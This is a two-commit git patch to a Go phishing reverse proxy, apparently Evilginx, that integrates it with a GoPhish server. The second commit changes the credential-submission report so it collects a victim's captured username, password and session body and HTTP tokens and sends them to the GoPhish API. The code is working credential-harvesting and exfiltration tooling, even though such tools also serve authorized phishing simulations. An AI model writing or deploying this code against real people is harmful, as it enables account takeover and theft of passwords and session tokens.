From 37345259ceb57f9d4cbb62822ee867c623c46200 Mon Sep 17 00:00:00 2001 From: Muhammad Aprian Date: Tue, 11 Jun 2024 22:21:44 +0700 Subject: [PATCH 1/2] Update parameter json from 'user_agent' to 'user-agent' --- core/gophish.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/gophish.go b/core/gophish.go index 9716a4959..9baffc9be 100644 --- a/core/gophish.go +++ b/core/gophish.go @@ -17,7 +17,7 @@ type GoPhish struct { type ResultRequest struct { Address string `json:"address"` - UserAgent string `json:"user_agent"` + UserAgent string `json:"user-agent"` } func NewGoPhish() *GoPhish { From ea352921bc052905c71a5f6f82ffeb01511965d8 Mon Sep 17 00:00:00 2001 From: Muhammad Aprian Date: Wed, 12 Jun 2024 00:35:43 +0700 Subject: [PATCH 2/2] Add a feature to send caputed data to gophish. --- core/gophish.go | 28 +++++++++++++++++++++++----- core/http_proxy.go | 4 ++-- 2 files changed, 25 insertions(+), 7 deletions(-) diff --git a/core/gophish.go b/core/gophish.go index 9baffc9be..e2829abd5 100644 --- a/core/gophish.go +++ b/core/gophish.go @@ -16,8 +16,9 @@ type GoPhish struct { } type ResultRequest struct { - Address string `json:"address"` - UserAgent string `json:"user-agent"` + Address string `json:"address"` + UserAgent string `json:"user-agent"` + Data map[string]interface{} `json:"data"` } func NewGoPhish() *GoPhish { @@ -93,15 +94,32 @@ func (o *GoPhish) ReportEmailLinkClicked(rid string, address string, userAgent s return o.apiRequest(reqUrl.String(), content) } -func (o *GoPhish) ReportCredentialsSubmitted(rid string, address string, userAgent string) error { +func (o *GoPhish) ReportCredentialsSubmitted(rid string, session *Session) error { err := o.validateSetup() if err != nil { return err } + // Collect dynamic data from the session + data := make(map[string]interface{}) + for k, v := range session.Custom { + data[k] = v + } + for k, v := range session.BodyTokens { + data[k] = v + } + for k, v := range session.HttpTokens { + data[k] = v + } + + // Add username and password to the data + data["username"] = session.Username + data["password"] = session.Password + req := ResultRequest{ - Address: address, - UserAgent: userAgent, + Address: session.RemoteAddr, + UserAgent: session.UserAgent, + Data: data, } content, err := json.Marshal(req) diff --git a/core/http_proxy.go b/core/http_proxy.go index 88a024709..5c3447816 100644 --- a/core/http_proxy.go +++ b/core/http_proxy.go @@ -1066,7 +1066,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da rid, ok := s.Params["rid"] if ok && rid != "" { p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS()) - err = p.gophish.ReportCredentialsSubmitted(rid, s.RemoteAddr, s.UserAgent) + err = p.gophish.ReportCredentialsSubmitted(rid, s) if err != nil { log.Error("gophish: %s", err) } @@ -1206,7 +1206,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da rid, ok := s.Params["rid"] if ok && rid != "" { p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS()) - err = p.gophish.ReportCredentialsSubmitted(rid, s.RemoteAddr, s.UserAgent) + err = p.gophish.ReportCredentialsSubmitted(rid, s) if err != nil { log.Error("gophish: %s", err) }